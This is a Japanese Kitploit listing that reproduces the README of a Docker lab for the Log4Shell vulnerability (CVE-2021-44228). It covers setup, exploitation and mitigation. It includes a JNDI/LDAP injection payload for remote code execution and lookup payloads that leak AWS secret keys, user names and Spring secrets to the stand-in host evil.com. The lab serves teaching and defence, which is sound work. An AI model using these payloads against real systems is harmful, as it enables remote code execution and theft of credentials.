Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4shell-docker-lab — Log4Shell (CVE-2021-44228) docker ラボ | Kitploit
ツール/GitHubGitHub/axelcurmi/log4shell-docker-lab
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubaxelcurmi/log4shell-docker-lab

log4shell-docker-lab

Log4Shell (CVE-2021-44228) docker ラボ

リポジトリを見る
134年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4Shell Docker ラボ(CVE-2021-44228)

コンポーネント

この Docker ラボは、以下の3つのコンポーネントで構成されています:

  • 脆弱性のある Spring Boot アプリケーション
  • リモートコード実行に使用される .class ファイルをホストする HTTP サーバー
  • 特定の LDAP クエリを HTTP サーバーにリダイレクトする LDAP リファラルサーバー

Docker ラボのセットアップ

1. Docker ネットワーク

root@kitploit:~
docker network create log4shell

2. Docker イメージのビルド

root@kitploit:~
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec

3. コンテナの実行

重要な注意: Windows PowerShell を使用している場合は、$(pwd) を ${pwd} に置き換えてください。

root@kitploit:~
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"

エクスプロイト

脆弱性のあるアプリケーションを開き、偽のテスト認証情報を入力して、log4shell-vulnapp コンテナのログを開きます。 アプリケーションがログイン失敗の試行をログに記録していることが確認できます(例:ユーザー名「test」のログイン試行が誤っています)。この小さな実験から、ログに記録される文字列の一部(すなわちユーザー名)を制御できることがわかります。

以下のようなペイロードを渡すことで、リモートでコードを実行できます:

root@kitploit:~
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}

リモートコード実行はどの Java バージョンでも可能ですが、以下のリスト [1] より古い Java バージョンを搭載したマシンでは特に危険です:

  • 6u211
  • 7u201
  • 8u191
  • 11.0.1

これは、新しいバージョンでは JVM システムプロパティ com.sun.jndi.ldap.object.trustURLCodebase がデフォルトで false に設定され、任意の URL コードベースからの JNDI によるクラス読み込みが無効になるためです。ただし、この脆弱性に対する保護として新しい Java バージョンにのみ依存することは危険です。脆弱性のあるアプリケーションのクラスパスに特定の「ガジェット」クラスが含まれるマシンでは、この脆弱性が依然として悪用される可能性があり、DNS クエリを使用して環境変数などの情報を取得できるためです。

被害者マシンから機密情報を明らかにするルックアップ置換がいくつかあります。最も顕著な例として、[2, 3] と同様のペイロードを使用します:

root@kitploit:~
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}

注: Spring ルックアップ攻撃文字列を使用するには、アプリケーションに log4j-spring-cloud-config-client が含まれている必要があります。[2]

緩和策

この深刻な脆弱性を緩和する最善の方法は、log4j2 を >= 2.17.0 にアップグレードすることです。ただし、アップグレードせずに2つの異なる方法でこの問題を完全に緩和することも可能です。新しい Log4j2 バージョンにアップグレードできないベンダーには、以下に示す両方の緩和策を使用することを強く推奨します [1]。

方法1: log4j 2.10.0 以降 - ルックアップの無効化

ルックアップの無効化は、(グローバルに)環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS を true に設定することで行えます。/etc/environment ファイルを編集して、LOG4J_FORMAT_MSG_NO_LOOKUPS=true を追加してください。[1]

あるいは、脆弱性のある Java アプリケーションの実行時に以下のコマンドラインフラグを追加することで、特定の JVM 呼び出しに対してルックアップを無効化できます:‐Dlog4j2.formatMsgNoLookups=True [1]

方法2: log4j 2.10.0 より前のバージョン - 脆弱性のあるクラスの削除

log4j 2.10.0 より前のバージョンを使用している場合、任意の Java アプリケーションから JndiLookup クラスを削除することが可能です。

参照

[1] Menashe, S., (2021). Log4Shell 0-Day 脆弱性のすべて - CVE-2021-44228. [オンライン] JFrog. 入手先: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [アクセス日: 2021年12月24日].

[2] Goers, R., (2021). Log4j – Log4j 2 ルックアップ. [オンライン] logging.apache.org. 入手先: https://logging.apache.org/log4j/2.x/manual/lookups.html [アクセス日: 2021年12月24日].

[3] Oracle. (2021). システムプロパティ. [オンライン] 入手先: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [アクセス日: 2021年12月24日].

ツールをダウンロード